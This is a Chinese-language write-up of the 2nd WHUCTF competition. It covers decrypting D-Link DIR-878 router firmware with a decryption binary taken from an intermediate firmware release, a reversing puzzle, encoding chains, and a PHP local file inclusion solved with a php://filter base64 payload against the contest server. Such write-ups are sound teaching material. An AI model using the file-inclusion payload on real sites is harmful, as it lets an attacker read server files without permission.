2nd whuctf writeup

decrypt

待解密的文件 DIR878A1_FW1.12B01_Encrypt.bin 为路由器固件

路由器固件发布过程中,出厂版本无加密,无解密程序;后续更新会推送解密程序decryption routine,集成在固件中,此时仍未加密;后续版本则完全加密的固件。这里要获得中间版本的固件,得到解密程序。

Figure 2: Firmware release scenario 1

从dlink获取同型号不同版本的固件DLink DIR-878

image-20200527183349895

第一项为我们需要的固件,第二项对应题目文件。使用binwalk依次提取文件_DIR878A1_FW104B05_Middle_FW_Unencrypt.bin.extracted/_A0.extracted/_8AB758.extracted,最终在cpio-root/bin目录中得到解密程序imgdecrypt

image-20200527184520226

通过binwalk和file命令查看文件信息,文件运行环境为misp

image-20200527184933158

切换qemu-mispsel-static环境(提前安装qemu-user-static),执行解密程序./bin/imgdecrypt ./bin/DIR878A1_FW1.12B01_Encrypt.bin

image-20200527185007319

得到解密后的固件,可以用binwalk查看具体信息

image-20200527185129548

binwalk解压三连,计算public.pem的MD5

image-20200527185358247

reference: MINDSHARE: DEALING WITH ENCRYPTED ROUTER FIRMWARE

re1

条件1:7个数字,第5个数字为5👉xxx x5x x(92)

if语句用来判断字符是否为数字

image-20200527181452581

在内存中的存储

image-20200527182136782

条件2:7个数字+92,每三个数字和等于15👉xxx x5x 4(92)

条件3:7个数字+92,第147、258、369个数字等于15👉x1x x5x 4(92)

image-20200527181617068

image-20200527182516503

条件4:无重复数字👉8163574(92)

WHUCTF{8163574}

check-in

git pull得到flag.txt,文件内容whuctf{bc6cb6f4-1924-4683-a42c-cdc97653d2f6}

佛系青年BinGGe

与佛论禅解码得到:767566536773bf1ef643676363676784e1d015847635575637560ff4f41d

栅栏解码,每组6个:

7768756374667b6e305f315f616d5f6e30745f615f36756464683173747d

ASCII解码:

1
\u0077\u0068\u0075\u0063\u0074\u0066\u007b\u006e\u0030\u005f\u0031\u005f\u0061\u006d\u005f\u006e\u0030\u0074\u005f\u0061\u005f\u0036\u0075\u0064\u0064\u0068\u0031\u0073\u0074\u007d

最后得到whuctf{n0_1_am_n0t_a_6uddh1st}

ezinclude

contact页面提交后的url:http://218.197.154.9:10017/thankyou.php?firstname=&lastname=&country=australia&subject=

尝试链接:http://218.197.154.9:10017/thankyou.php?file=../,系统报错:

image-20200526225506184

访问页面http://218.197.154.9:10017/flag.php,响应码200,说明文件存在![image-20200526225642096](image-20200526225642096.png)

使用php伪装协议构造链接http://218.197.154.9:10017/thankyou.php?file=php://filter/convert.base64-encode/resource=flag.php,以base64编码方式读取flag.php

最终得到base64编码数据:PD9waHANCg0KLy9mbGFnPXdodWN0ZntOMHdfeTB1X2tuMHdfZmlsZV9pbmNsdXNpb259DQoNCg==

解码得到:

1
2
3
4
5
<?php

//flag=whuctf{N0w_y0u_kn0w_file_inclusion}